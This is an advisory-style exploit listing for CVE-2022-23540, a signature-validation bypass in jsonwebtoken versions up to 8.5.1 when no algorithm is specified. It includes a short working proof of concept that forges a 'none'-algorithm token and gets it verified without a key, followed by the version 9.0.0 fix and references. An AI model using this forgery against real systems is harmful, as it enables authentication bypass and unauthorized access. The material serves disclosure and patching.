Share
## https://sploitus.com/exploit?id=D595E286-8A46-506E-81A3-ADF5C7B6E119
# CVE-2022-23540

In versions `<=8.5.1` of `jsonwebtoken` library, lack of algorithm definition in the `jwt.verify()` function can lead to signature validation bypass due to defaulting to the `none` algorithm for signature verification. Users are affected if you do not specify algorithms in the `jwt.verify()` function. This issue has been fixed, please update to version 9.0.0 which removes the default support for the none algorithm in the `jwt.verify()` method. There will be no impact, if you update to version 9.0.0 and you don&#8217;t need to allow for the `none` algorithm. If you need 'none' algorithm, you have to explicitly specify that in `jwt.verify()` options.

```
// npm install jsonwebtoken@8.5.1
const jwt = require("jsonwebtoken");

const token = jwt.sign({ foo: "bar" }, "", { algorithm: "none" });

//In the `jwt.verify()` function can lead to signature validation bypass due to defaulting to the `none` algorithm for signature verification.

// The attack condition must not include the secret key in the jwt.verify() function.

const verify = jwt.verify(token);

console.log(verify);
```

## Fixed

Update to version 9.0.0 which removes the default support for the none algorithm in the jwt.verify() method.

## References

- https://github.com/advisories/GHSA-qwph-4952-7xr6
- https://vulners.com/cve/CVE-2022-23540